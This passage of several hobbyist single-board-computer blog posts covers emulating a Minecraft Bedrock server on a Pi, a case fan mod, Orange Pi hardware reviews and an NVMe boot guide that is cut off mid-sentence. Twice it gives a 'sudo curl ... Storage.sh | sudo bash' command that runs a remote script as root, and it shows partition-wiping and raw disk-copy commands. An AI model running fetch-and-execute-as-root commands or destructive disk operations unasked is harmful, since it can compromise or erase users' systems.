=> /usr/lib/x86_64-linux-gnu/libffi.so.6 (0x00007fb776259000) libwind.so.0 => /usr/lib/x86_64-linux-gnu/libwind.so.0 (0x00007fb776030000) libheimbase.so.1 => /usr/lib/x86_64-linux-gnu/libheimbase.so.1 (0x00007fb775e21000) libhx509.so.5 => /usr/lib/x86_64-linux-gnu/libhx509.so.5 (0x00007fb775bd7000) libsqlite3.so.0 => /usr/lib/x86_64-linux-gnu/libsqlite3.so.0 (0x00007fb7758ce000) libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007fb775696000) Yikes. This thing has a ton of dependencies! This is because it is dynamically linked executable so none of the source code is compiled into the binary for any of these dependencies. Fortunately I have a bash one liner that will gather a copy of all these dependencies and put it into a folder: mkdir depends ldd bedrock_server | grep "=> /" | awk '{print $3}' | xargs -I '{}' cp -Lv '{}' depends Now zip or tar this folder and move it to your Raspberry Pi. We are going to put the dependencies right in the root of the bedrock folder that we created earlier. Your file structure on the Pi should now look something like this: bedrock_server libgnutls.so.30 libresolv.so.2 bedrock-server-1.10.0.7.zip libgpg-error.so.0 librtmp.so.1 bedrock_server_how_to.html libgssapi_krb5.so.2 libsasl2.so.2 behavior_packs libhogweed.so.4 libssh2.so.1 definitions libidn2.so.0 libssl.so.1.1 depends.zip libk5crypto.so.3 libstdc++.so.6 ld-2.28.so libkeyutils.so.1 libtasn1.so.6 libcom_err.so.2 libkrb5.so.3 libunistring.so.2 libCrypto.so libkrb5support.so.0 libz.so.1 libcrypto.so.1.1 liblber-2.4.so.2 permissions.json libc.so.6 libldap_r-2.4.so.2 README.txt libcurl.so.4 libm.so.6 release-notes.txt libdl.so.2 libnettle.so.6 resource_packs libffi.so.6 libnghttp2.so.14 server.properties libgcc_s.so.1 libp11-kit.so.0 structures libgcrypt.so.20 libpsl.so.5 whitelist.json libgmp.so.10 libpthread.so.0 Now for the last step there is one more dependency we need to resolve that won’t be included in the command we executed. This dependency is the linker dependency ld-2.28.so (your version may be different/newer) and the trick we just used to get the other dependencies won’t work on it. On the x86_64 machine copy ld-linux-x86-64.so.2 like this: cd depends cp /lib64/ld-linux-x86-64.so.2 ld-2.28.so cp /lib64/ld-linux-x86-64.so.2 ld-2.31.so If you have a different version of the linker you can find it with: ldd --version The version of the linker your system is using will be at the end of the very first line of the output from that command. On the Pi use these commands to set up the linker: sudo mkdir /lib64 sudo ln -s /home/pi/bedrock/ld-2.28.so /lib64/ld-linux-x86-64.so.2 sudo ln -s /home/pi/bedrock/ld-2.31.so /lib64/ld-linux-x86-64.so.2 This will install the linker binary where it needs to be for us to run the application by creating a symbolic link. The rest of the dependencies will be able to be in the folder that the server is running. Running the Server Now we have all our dependencies in place and are ready to run the server. I can’t wait to issue a ./bedrock_server! Let’s try it: # ./bedrock_server /lib64/ld-linux-x86-64.so.2: No such file or directory Ugh. It’s looking for the dependencies in the wrong place! So how do we fix that? The trick is actually on the Minecraft Bedrock server dedicated server download page. We need to change the library load path to our local directory. So the proper way to run the server will be like this: LD_LIBRARY_PATH=. ./bedrock_server Now that we run the server this way we see the following output: NO LOG FILE! - setting up server logging… [2019-04-27 00:47:16 INFO] Starting Server [2019-04-27 00:47:16 INFO] Version 1.11.1.2 [2019-04-27 00:47:16 INFO] Level Name: Bedrock level [2019-04-27 00:47:16 INFO] Game mode: 0 Survival [2019-04-27 00:47:16 INFO] Difficulty: 1 EASY Unknown host QEMU_IFLA type: 50 Unknown host QEMU_IFLA type: 51 Unknown host QEMU_IFLA type: 50 Unknown host QEMU_IFLA type: 51 Unknown host QEMU_IFLA type: 50 Unknown host QEMU_IFLA type: 51 Unknown host QEMU_IFLA type: 50 Unknown host QEMU_IFLA type: 51 Unknown host QEMU_IFLA type: 50 Unknown host QEMU_IFLA type: 51 Unknown host QEMU_IFLA type: 50 Unknown host QEMU_IFLA type: 51 Unsupported setsockopt level=41 optname=20 Unsupported setsockopt level=41 optname=20 Unsupported setsockopt level=41 optname=34 [2019-04-27 00:51:14 INFO] IPv4 supported, port: 19132 [2019-04-27 00:51:15 INFO] IPv6 supported, port: 19133 [2019-04-27 00:53:48 INFO] Server started. As we can see QEMU does complain about several missing QEMU_IFLA types. These messages relate to certain functionality not being implemented in QEMU yet. These can be safely ignored for now but hopefully if QEMU implements these later it will provide a speed boost to the server. Another thing to note is the timestamps. The server takes some time to load when using emulation. The total time to reach the “Server started.” line was about 5 minutes. I told you it was slow! You may now connect to the server but expect it to time out many of your connection attempts. When you do get in monsters will be very slow and glitchy. Breaking blocks will have a significant delay. Benchmarking / Testing Storage If you want to verify your drive’s performance you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! Conclusion With the tools and hardware that are available to us today we are able to run the Minecraft Bedrock dedicated server on Pi but it is too slow. Improvements in hardware and software such as more updates and better implemented of x86_64 emulation on the ARM platform will likely change this in the near future. Another game changer would be if Mojang chooses to distribute a native ARM binary that we can run on the Pi. This would be *much* faster and would be the ideal scenario. Definitely send them an email or leave a comment on their feedback form if you want to see this! I will update this article as things change going forward. If you are experimenting with this and find a way to speed things up definitely leave a comment here so I can credit you and publish your findings! If your goal with this project was to have a small self contained Minecraft server that doesn’t use a lot of power I do have some alternative recommendations below to use in the mean time for getting a well performing Bedrock server! #### Old Skool NES Classic Case Fan Mod This is a followup to my Old Skool NES Classic RetroPie build.  When I posted my build on Reddit several users that already had the case noted that the case tends to get very hot.   That’s not good, but since the case is so awesome I was determined to find a solution.  This mod requires no soldering, no drilling, and is dead simple and cheap.  It also does not modify the look of your NES Classic RetroPie setup at all.   We will use the preexisting vents in our case to create air displacement and pull the heat out of our case and let the cool air flow in from the lid gaps across the board.  Without further disposition: Pi Classic Fan Case Open Table of Contents Toggle NES Classic Fan Mod EquipmentFan Mod PreparationSide Adhesive PreparationFan Mod WiringWrapping Up NES Classic Fan Mod Equipment Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Old School NES Classic Case*5v 25mm X 25mm X 10mm Small Brushless Cooling Fan*3M Adhesive Double-sided Foam Tape High Bond Dots* Pi Classic Fan Parts PI Classic Fan Parts Unwrapped Fan Mod Preparation Use rubbing alcohol to thoroughly clean the surface of both the fan head and the side of the case.  We will be putting mounting tape here and to achieve a strong bond the surfaces need to be clean.  Alcohol pads are included in the 3M kit or you can use a q-tip with rubbing alcohol.  We need to remove all oil/debris to make sure that we get a strong solid mount to our Old Skool NES Classic case. Now use scissors or a precision cutting knife to cut the 3M dots down to size.  We do not want to obstruct the airflow of the fan so the 3M dot should be the same size or slightly smaller than the label on top of the fan.  Do not remove the double sided protective tape yet.  It will look something like this: Cutting the 3M adhesive dot to fit the top of the fan without obstructing airflow Side Adhesive Preparation Next cut a second adhesive dot in half giving a crescent moon shape.  We will use this to give further stability to the side of the fan to ensure that we have a solid mount.  This also has the benefit of keeping of preventing any fan noise or ratting of the fan against the case.  The 3M dot material acts almost as a soundproofing material which will give you extremely quiet operation. Now that you have cut the material and cleaned the surfaces thoroughly with rubbing alcohol (let the alcohol evaporate off before placement) you are ready to place the adhesive dots.   Room in this case is *very* tight so you need to place the fan away from the GPIO pins where we are going to be plugging into the fan. The fan can sit above the GPIO pins but you need to have it far enough away from the top corner that you won’t bump into the wires we plug into the GPIO pins in the next step.   Right near the middle of the ventilation slots is the sweet spot. Here is a picture to see where I placed it: The 3M Stickies placed inside the case Now line up the fan with the center dot and then firmly press it down and to the side against our half dot on the side.  It is useful to rotate the top part of our case around so you can see down through the ventilation slots.  This allows you to get the adhesive dot right in the middle of the fan sticker and not obstruct the airflow with a bad alignment.  It will stick right to them.   You don’t need to put a tremendous amount of pressure and risk breaking the case.  Just a nice firm press for about 30 seconds and it will be firmly in place. Fan Mod Wiring Wiring the fan for the mod is dead simple, but you do need to get it right.  I have made a diagram to show you exactly how to wire the fan to the GPIO pins.  You simply plug them right in there.   Don’t push down too hard as the connector doesn’t go very far down before it is secure and if you push too hard you could bend your GPIO pins.  If the pins are going in and you start feeling resistance you can stop pushing as you have made a solid connection.   One more warning:  The Pi is on in this picture because I have already mounted the fan (the fan is actually spinning in this picture).  The Pi should be turned OFF when you do your initial wiring just in case. Here is the wiring diagram: Wiring for the PI Classic Fan Wrapping Up Keep the lid separate for the time being and plug in the Raspberry Pi.  We want to make sure that the fan is spinning.  If the fan is spinning you are ready to assemble the case.  First make sure the red wire is well out of the way of where the fan is going to be.  I suggest wrapping it around the back of the GPIO pins so that it doesn’t make it’s way to the bottom of the fan and obstruct it. Once the red cable is out of the way slowly and gently place the top of the case on making sure there is no contact with the wire or any parts of the board.  If you mounted the fan in the proper place the case will snugly fit and you will feel airflow coming up through the top of the case. Congratulations, you have successfully installed a fan in your Old Skool NES Classic case!  Expect your temperatures to drop dramatically.  Even though the fan isn’t extremely powerful the true cooling power is the air displacement.   The hot air will rise to the top and be blown out with the fan and you will have cool air flowing in from the back of the case across all of your Pi’s components.  This is exactly how your PC’s case works.  The fan in the back of the case exhausts hot air and displacement brings cool air in through the front. I still believe this is the best looking case and with this mod all temperature concerns go away.  Let me know in the comments what temperature reductions you have seen! Pi Classic Fan Complete Build #### Orange Pi 14 Inch 1080P Portable Monitor Review Orange Pi Portable Monitor Review I recently ordered many of the official Orange Pi accessories for review with my Orange Pi 800 order (also coming up for review). The first of these accessories to come was the Orange Pi 14″ 1080P portable monitor. This monitor is meant to be extremely portable and have a low footprint. Today in this review we’ll take a close look at Orange Pi’s monitor offering and test it with several devices. We’ll examine the build quality, functionality and try to determine whether picking one of these up might be worth it for you and what situations they would be most appropriate for. Let’s get started! Table of Contents Toggle Hardware UsedSpecificationsPackagingIncluded AccessoriesUsageConfigurationPros / ConsProsConsConclusionOther Resources Hardware Used Orange Pi Portable Monitor The Orange Pi monitor is meant to be a portable monitor you can take anywhere. It has a resolution of 1080P and features a hinge in the back that folds out to support the monitor. Links: Amazon.com*, AliExpress* Specifications Display Size: 14 Inch Resolution: 1920×1080 Contrast: 700:1 Brightness: 220cd/m2 Panel Type: a-Si TFT-LCD Viewing Angle: 85/85/85/85 (Typ.)(CR≥10) Frequency: 60HZ Colour System: 262K , 45% NTSC Operating Temp: 0-40℃ Operating RH: 20-80% Input: 1 HDMI /2 USB Type-C Stand: Iron stand Audio: Speaker and 3.5mm earphone Material: Rugged Aluminum, Metal, Plastic available Dimension/DIM: 32520515(8.5)mm CTN: 3482547.6mm Net Weight/N.W: 550g Gross Weight/G.W: 1150g Packaging The monitor arrived as it’s own package like this: Orange Pi Portable Monitor – Shipping Box They used so much tape you can barely see what is on the box but there is some stuff you can still see. I’d rather them tape it this way and keep it secure during shipping. Now let’s see how it’s packaged inside: Orange Pi Portable Monitor – Packaging We can see here there’s substantial protection inside and that the monitor is inside a sleeve. That “Portable display” writing you see in the screen above is actually printed on the sleeve. It’s not text like I typed in like my jamesachambers.com on the left. Included Accessories If we lift the monitor out of the tray we can see all of the accessories: Orange Pi Portable Monitor – Accessories Specifically this includes: Power adapter HDMI cable USB-A to USB-C cable The stand for the back Instruction manual Usage So to my surprise the hinge doesn’t actually attach at all to the monitor. It’s a completely independent stand that you can tighten / loosen the hinges on once you get it into a position you want it to stay in. It looks like this: Orange Pi Portable Monitor – Stand The black knobs on each side tighten the stand once it’s resting in a stable position. Once it’s all tightened up the monitor will rest on the stand like this: Orange Pi Portable Monitor – Resting In Stand Configuration The first thing you’ll want to do when you set up the monitor is change the language. You do this by accessing the control panel: Orange Pi Portable Monitor – Controls Note that one annoying thing about the monitor is you can’t configure it unless there’s a working display input connected. If you try to access the menu when it says “no signal” it doesn’t let you navigate the menu and will go to sleep in a few seconds. Once you’ve plugged in a valid input it’s easy to set the language by using the OSD wheel. EDIT 2/13/2023: kprasadvnsi has shared in the comments that the monitor actually is functioning without a valid display connected. The backlight is just completely turned off. You can actually still see and use it if you hold a flashlight up to the display. Thank you kprasadvnsi! The one review on Amazon says that the monitor will not remember your language. This is fortunately not true. I’ve tested unplugging the power for short and long periods of time and it does not forget my language setting. That person must have either got an earlier revision that has since been fixed or potentially they had a defective one. The setting has “stuck” throughout a couple of days of testing and I’ve never had to set it again. There are a few other configuration options such as turning on HDR as well as AMD FreeSync. There’s also the typical brightness and other controls you’d expect on any monitor available. Pros / Cons Pros Incredibly light and portable Cables and power adapter are included Mount holes included on back of panel Cons The backlight will turn off without a valid input connected requiring use of a flashlight to see the menu Conclusion The monitor is available for only $65.99 on Amazon. As far as pricing goes this is one of the cheapest options out there. Try searching Amazon for “portable 1080P monitor” and you’ll find that most options are well over $100. They’re incredibly light. They feel and handle similarly to a tablet. The sound quality from the speakers is fairly average which I would expect at this price point but they’re usable at least. The monitor isn’t just useful for single board computers. It’s also great for gaming consoles. It also works plug-and-play to just plug into my PC to get additional screens that take up almost no space on my desk. I may use some of these for additional Home Assistant information displays / panels that I’ll be covering on the site here as I continue to build them. I doubt this monitor will be leaving my desk and I may pick up additional ones because they’re so inexpensive (relatively speaking). They’d be great to mount as well as they already have the mount holes in the back of the device. I was very relieved to find out the monitor does indeed remember the language setting once you set it as well. I got this monitor as a package with the Orange Pi 800 but it arrived several days earlier than the Orange Pi 800. Definitely watch for that upcoming review and I’ll definitely mention how it feels to use this monitor with the Orange Pi 800. The monitor gets a recommend for me and it’s mostly on price and utility. If you need a really cheap and portable 1080P monitor this monitor makes a lot of sense to consider! Other Resources I’ve reviewed the Orange Pi 5 here which is what I have paired with it in the very first screenshot of the article You can see all of my Orange Pi related articles here #### Orange Pi 3 LTS SBC Review Orange Pi 3 LTS Single Board Computer Review The Orange Pi 5 is on the horizon with my order scheduled to arrive around the end of the first week of December. I’ll definitely be covering it as soon as I can get my hands on it. So why would I cover anything to do with the Orange Pi 3 with the Orange Pi 5 launch being weeks away? The Orange Pi 3 LTS is not a new board but it is an interesting board because it is a long term support variant expected to be produced and supported for much longer than the average board. It is already quite cheap at <~$50 or so at time of writing (which is a great price in this market to begin with) but I expect it to drop more into the $35-$40ish range once the Orange Pi 5 has been out for a little bit. Many Pi alternatives often have very short lifespans in terms of both production and support as most of you who have tried them over the years or more recently will know. Having these long term support assurances can give you a lot of confidence if you are considering boards for a product/project/use case that you expect to stay in place for a long time and want to know there will be secure working updated images available for it. Let’s see what it can do! Table of Contents Toggle Hardware UsedSpecificationsBuild QualityImages AvailableTesting Ubuntu Desktop ImageeMMC Performance BenchmarkPros / ConsProsConsConclusionOther Resources Hardware Used Orange Pi 3 LTS The Orange Pi 3 LTS is a long term support board with a quad-core 1.8GHz Cortex-A53 CPU and 2GB of LPDDR3 RAM Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.sg* Geekworm Copper Heatsink Set The Geekworm copper heatsink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heatsink kits for SBCs don’t have. Eliminates hotspots and reduces throttling. Can be further enhanced by powered cooling over the heatsinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Orange Pi Wireless Mouse The Orange Pi official mouse uses 2.4GHz wireless to give you a wireless mouse experience with the Orange Pi Links: Amazon.com*, AliExpress* Orange Pi Portable Monitor The Orange Pi monitor is meant to be a portable monitor you can take anywhere. It has a resolution of 1080P and features a hinge in the back that folds out to support the monitor. Links: Amazon.com*, AliExpress* Specifications Allwinner H6 64bit CPU: Quad-core Cortex™-A53 1.8 GHz • High-performance multi-core GPU Mali T720 OpenGL ES 3.1/3.0/2.0/1.1 Microsoft DirectX 11 FL9_3 ASTC (Adaptive Scalable Texture Compression) Floating point operation >70 GFLOPS Built-in 8GB eMMC Flash 2GB LPDDR3 RAM WiFi + Bluetooth 5.0 AW859A 10M/100M/1000M Ethernet 2x USB 2.0 + 1x USB 3.0 Includes one heat sink for the main CPU as well as the external WiFi antenna. Build Quality The revision of the board I received was V1.4. Almost all the components are located on the top of the board. Top view: Orange Pi 3 LTS – Top View It has a neat little Orange Pi 3 LTS logo and design in the center of the board. The 8GB eMMC chip is in the bottom left of the picture here. You can see the “H6” on the CPU (the rightmost chip). Here is the bottom view: Orange Pi 3 LTS – Bottom View As you can see there is nothing on the bottom of the board except for the micro SD slot. I consider this a positive as it’s usually difficult to access components/connectors on the bottom of the board especially when used with a case. You can see all the visible circuit traces and labels. It’s very easy to read them. Images Available The official Orange Pi 3 LTS download page is here. The official images include: Ubuntu Jammy – Desktop and Server Debian Bullseye – Desktop and Server Android 9 Source code for all of the above This is a respectable selection of up to date images and is kind of a relief after some of the other boards I’ve reviewed recently. Testing Ubuntu Desktop Image I chose the Ubuntu Desktop image to test and benchmark for this review. Installing it to the built-in eMMC was a breeze in contrast to the Banana Pi P2 which I reviewed yesterday. You simply install the image to a SD card. Once you log in you can install to the eMMC with the command: sudo nand-sata-install This “just worked”. I let the prompt finish and then it prompted me to power off the device. I removed the SD card and then power cycled the device (although I could have hit the PWR button which is included on the device). The desktop performed very well and feels nice and snappy. Here’s a look: Orange Pi 3 LTS Ubuntu Desktop Screenshot This installation is running purely off the eMMC and I had removed the SD card at this point. I then upgraded the board with: sudo apt update && sudo apt full-upgrade -y Now it’s time to benchmark the performance of the eMMC! eMMC Performance Benchmark You can verify the performance of your drive on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results for the eMMC: Category Test Result HDParm Disk Read 116.45 MB/s HDParm Cached Disk Read 119.31 MB/s DD Disk Write 52.8 MB/s FIO 4k random read 5597 IOPS (22388 KB/s) FIO 4k random write 3362 IOPS (13451 KB/s) IOZone 4k read 22615 KB/s IOZone 4k write 13600 KB/s IOZone 4k random read 22266 KB/s IOZone 4k random write 13518 KB/s Score: 3,705 The Orange Pi 3 LTS eMMC benchmark can be viewed here on Pi Benchmarks Very nice! The eMMC scored roughly 3-4 times faster than even a great SD card. It’s also built right into the board and included for free. Combined with the fact that it was actually incredibly easy to install Linux on the eMMC then I can safely say that any of you that buy this board will be able to achieve the same performance I have here without having to spend a dime (other than getting the board itself) or do any complicated configuration. Pros / Cons Pros Long term support (LTS) Almost identical hardware/capabilities to a Pi 4 Up to date Ubuntu / Debian / Android images available Cons Price is only $20 or so below a Orange Pi 4 or 5 which is substantially more powerful Conclusion I definitely see why Orange Pi chose to make this model one of their LTS models. The Orange Pi 3 LTS is basically a 2GB Pi 4. It has a quad-core 1.8GHz Cortex-A53 CPU that is very similar in power to the Pi 4. This is a logical product offering for their lineup. Is it a great option to get a Pi alternative for $50? Absolutely! It’s very nice that you don’t need a SD card with this board. It’s not just great because you save money. The eMMC has much higher performance than a SD card setup as well as I showed in the benchmarking section. All you need is the board! It was also very easy to image the eMMC on this board which very good news since the difficulty of doing that across various single board computers can range from super easy to extremely difficult / nearly impossible. The only problem with paying $50 for it is that I only paid around $70 for my Orange Pi 5 pre-order and it has twice as many CPU cores / a NVMe slot / much more. For me it’s hard to want to not just upgrade to a Orange Pi 4 or a Orange Pi 5. This product launched with a price of $35 and I think that’s a lot more appropriate of a price for the board. It’s slightly higher than normal due to market conditions but I definitely do expect this to come back in line with the launch price. I also imagine that the release of the Orange Pi 5 will drop the price of this board a little bit which is why I wanted to cover it. It basically is a 2 GB Pi 4. That is how I would sum up this board. Can you get a 2GB Pi 4 for $50? Probably not in this market but this board is widely available at that price today and should continue to be for a while yet. Overall I would recommend this board especially if you can get it around the launch price of $35. Definitely stay tuned for my Orange Pi 5 review as well around the second week of December or so! Other Resources I’ve also reviewed the Orange Pi portable monitor here I’ve also reviewed the Orange Pi Zero 2 here which is a great choice It’s getting hard to find but the Orange Pi i96 is about as cheap as it gets and I have released an updated image for it You can see the rest of my single board computer reviews here. #### Orange Pi 5 NVMe/SATA SSD Boot Guide Orange Pi 5 NVMe / SSD Boot Guide The Orange Pi 5 has a nice M.2 NVMe slot but unfortunately most of the official images will not boot if you try to directly image a NVMe drive. Fortunately there is an easy way to get this working that people who frequent the blog will almost certainly have seen before. We are going to bootstrap the boot process using a SD card and then clone that SD card to our SSD to be used as the root partition. This essentially will let us have our system’s root partition on the SSD (much faster). Let’s get started! Table of Contents Toggle Hardware UsedNote for USB BootingNote for Official Debian / Ubuntu Images (Updated 1/10/2023)Note for Armbian (Added 1/20/2023)Supported SSD Sizes (Updated 1/26/2023)SD card boot loader – Preparing SD CardPreparing SSDCloning Installation to SSDChange SD card’s rootfs UUIDChange SSD’s boot UUIDRun fsckReboot and VerifyResize NVMe Partition (Added 1/24/2023)Testing PerformanceOther Resources Hardware Used Orange Pi 5 The Orange Pi 5 the latest release from Orange Pi and is the most powerful model yet. It has a 6 core CPU and options from 4GB of RAM all the way up to 32GB of RAM! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl* Kioxia 2230 M2 NVMe Drive The Kioxia (Toshiba) 128GB M.2 2230 PCIe NVMe drive is much shorter than most NVMe drives (full size is 2280). It fits great with single board computers / tablets / other smaller form factors. Links: Amazon.com*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.com.au*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Geekworm Copper Heat Sink Set The Geekworm copper heat sink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heat sink kits for SBCs don’t have. Eliminates hot spots and reduces throttling. Can be further enhanced by powered cooling over the heat sinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* StarTech 2.5″ SATA Adapter The StarTech USB 3.1 to 2.5″ SATA adapter is one I have recommended for many years for use with all kinds of devices including the Raspberry Pi, Orange Pi, ODROID, Libre “Renegade” and Tinker Board. It’s widely compatible and works with gaming consoles as well. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Orange Pi Wireless Mouse The Orange Pi official mouse uses 2.4GHz wireless to give you a wireless mouse experience with the Orange Pi Links: Amazon.com*, AliExpress* Orange Pi Portable Monitor The Orange Pi monitor is meant to be a portable monitor you can take anywhere. It has a resolution of 1080P and features a hinge in the back that folds out to support the monitor. Links: Amazon.com*, AliExpress* Note for USB Booting Important: Only the top blue port of the Orange Pi 5 is fast for using USB storage. You can use a USB-connected SSD. The bottom port, despite being blue, is USB 2.1. Keep in mind that if you are using a USB SSD then in the instructions anywhere it says /dev/nvme0n1 you will need to use /dev/sda or whatever drive was assigned when you plug in your drive via USB. Note for Official Debian / Ubuntu Images (Updated 1/10/2023) Orange Pi has updated their official images to support directly booting from NVMe. This means that if you are using the official Ubuntu or Debian from orangepi.org then you can actually write the image directly to the SSD. This is the easiest way to get it going. You first need to write the image to a SD card and then run: sudo orangepi-config Then choose System->Install->Boot from SPI and install the new updated boot loader to the SPI flash. This did not work at launch but is working now. It is now possible to simply write the official images directly to NVMe and boot with it after updating the boot loader! The following instructions will still be useful for other operating systems or operating systems that do not support booting directly from NVMe. Note for Armbian (Added 1/20/2023) Armbian has a similar install utility as orangepi-config. For Armbian you will use: sudo armbian-config Then choose System->Install->Boot from eMMC and install the new updated boot loader to the SPI flash. You should also install the system to Armbian using this method. The instructions in the rest of the article are meant for operating systems that will not boot natively from NVMe. It uses a SD card as the boot loader to essentially let you boot anything (even ones not designed to boot directly from NVMe). Supported SSD Sizes (Updated 1/26/2023) Important: There is also a type of M.2 drive called a M.2 SATA drive. This is an older type of drive that most of you won’t have but some of you will. This type of drive is supported by the Orange Pi 5 but you have to add a special overlay (overlays=ssd-sata). If your NVMe drive shows up as /dev/sda instead of /dev/nvme0n1 then you have a M.2 SATA SSD. If you have a M.2 SATA drive follow this excellent guide by u/jng98908 on reddit. You can use either a 2230 or a 2242 size NVMe drive. There are actually holes for mounting hardware at both places. Using a 2230 size NVMe drive looks like this: Orange Pi 5 with 2230 NVMe drive mounted It’s totally fine to use a larger one but they will be hanging off the edge of the board. As you can see I do not have the mounts installed on my board. I just leave the 2230 drive in the port like this but it is on my to-do list to find some mounts for the M.2 drive for this board. SD card boot loader – Preparing SD Card First you should have a completely working installation on a SD card of the OS that you would like to use. I used the official Debian desktop image for this guide (recommended) so if your partitions are different it may be your flavor of Linux and need slightly altered instructions. If you have an already working installation you want to move to your SSD you can use this as well most likely. Note that some operating systems like Armbian will require you to manually go in and modify files on the “boot” partition. If you stick with the official images you should be able to follow the guide as-is but note that some operating systems may have text files (or even files that need to be recompiled with mkimage like for Armbian) for this method to work. You should completely update first with: sudo apt update && sudo apt full-upgrade Preparing SSD First we are going to completely remove all partitions from the drive so it’s completely blank. Your drive should typically be /dev/nvme0n1: sudo gdisk /dev/nvme0n1 Now remove all partitions from the device. If you press “p” it will print out the partitions. You can then use “d” to delete them. Here’s an example on mine: root@orangepi5:~# sudo gdisk GPT fdisk (gdisk) version 1.0.6 Partition table scan: MBR: protective BSD: not present APM: not present GPT: present Found valid GPT with protective MBR; using GPT. Command (? for help): p Disk /dev/nvme0n1: 250069680 sectors, 119.2 GiB Sector size (logical/physical): 512/512 bytes Disk identifier (GUID): E3017ECA-4571-4F62-A39F-4BA2A4323BD8 Partition table holds up to 128 entries Main partition table begins at sector 2 and ends at sector 33 First usable sector is 34, last usable sector is 250069646 Partitions will be aligned on 64-sector boundaries Total free space is 8350 sectors (4.1 MiB) Number Start (sector) End (sector) Size Code Name 1 64 8063 3.9 MiB 0700 loader1 2 16384 24575 4.0 MiB 0700 loader2 3 24576 32767 4.0 MiB 0700 trust 4 32768 1081343 512.0 MiB EF00 boot 5 1081344 250069646 118.7 GiB 8300 rootfs Command (? for help): d Keep pressing d until all the partitions are deleted. Once they are gone use the ‘w’ command to write your changes. Cloning Installation to SSD We’re now ready to clone your installation to the SSD. We can now copy your drive to the SSD with the following command: cat /dev/mmcblk1 > /dev/nvme0n1 Wait for the operation to complete (there won’t be any output but you will have a cursor again and be able to type new commands). Remember that you are copying an entire drive from one to another basically with that one command. Mine took about 30-45 minutes (although I was using a 64GB SD card and the larger SD card you use the longer it will take to copy the whole drive). If you are having any trouble with permissions try becoming “root” first with: sudo su Now try running the command again and as the superuser you should not encounter any permission errors. Change SD card’s rootfs UUID We need to change our SD card’s UUID so that it doesn’t try to boot from that partition. We can set it to a random one with the following command: sudo tune2fs -U random /dev/mmcblk1p2 If you get an error with the previous command regarding csums try the following command instead: sudo tune2fs -O metadata_csum_seed -U random /dev/mmcblk1p2 We can verify that it has changed with blkid like this: root@orangepi5:~# sudo blkid /dev/nvme0n1p1: SEC_TYPE="msdos" LABEL_FATBOOT="opi_boot" LABEL="opi_boot" UUID="0257-2A31" BLOCK_SIZE="512" TYPE="vfat" PARTLABEL="bootfs" PARTUUID="0a65713b-d4b4-0642-a3a4-ebc357e507a1" /dev/nvme0n1p2: LABEL="opi_root" UUID="ae948e48-3646-4f5c-be01-73168e079bc8" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="7490e84a-f585-944e-9ce6-f275f067a023" /dev/mmcblk1p1: SEC_TYPE="msdos" LABEL_FATBOOT="opi_boot" LABEL="opi_boot" UUID="0257-2A31" BLOCK_SIZE="512" TYPE="vfat" PARTLABEL="bootfs" PARTUUID="0a65713b-d4b4-0642-a3a4-ebc357e507a1" /dev/mmcblk1p2: LABEL="opi_root" UUID="37a6ee0a-e61d-470a-9e53-eaf51726942c" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="4f32d51c-0523-1248-9bc3-092d1f11c594" Notice that /dev/nvme0n1p2 and /dev/mmcblk1p2 no longer have matching UUIDs. This is exactly what we want. Change SSD’s boot UUID Next we are going to change the boot partition’s UUID on the SSD. This will make it so that the mounted /boot folder inside your operating system actually mounts the SD card (which is your actual boot loader in this configuration). First make sure you have mtools with: sudo apt install mtools -y Now we can change the UUID with: sudo mlabel -N aaaa1111 -i /dev/nvme0n1p1 :: You can verify these are different using the same sudo blkid command as the previous section. Run fsck Before we reboot run fsck on the drive like this: sudo fsck -yf /dev/nvme0n1p2 This will prevent you from having to run fsck on the CLI the first time you try to boot. Reboot and Verify Now reboot the Orange Pi 5 with: sudo reboot With any luck you should be booted using your SSD! We can verify this with the mount command like this: root@orangepi5:~# mount /dev/nvme0n1p2 on / type ext4 (rw,noatime,errors=remount-ro,commit=600) /dev/mmcblk1p1 on /boot type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=936,iocharset=utf8,shortname=mixed,errors=remount-ro) /dev/nvme0n1p2 on /var/log.hdd type ext4 (rw,noatime,errors=remount-ro,commit=600) Here we can see that our root partition (/) is indeed on /dev/nvme0n1p2 and not /dev/mmcblk0p2. We can also see that my /boot folder is properly mounted is /dev/mmcblk0p1 (the SD card which is serving as our boot loader). Success! Resize NVMe Partition (Added 1/24/2023) You can use Orange Pi’s built in resize application if you are using one of the official operating systems: sudo /usr/lib/orangepi/orangepi-resize-filesystem start Testing Performance For the guide I used a SSSTC 128GB 2230 M.2 NVMe drive. These are available on Amazon for 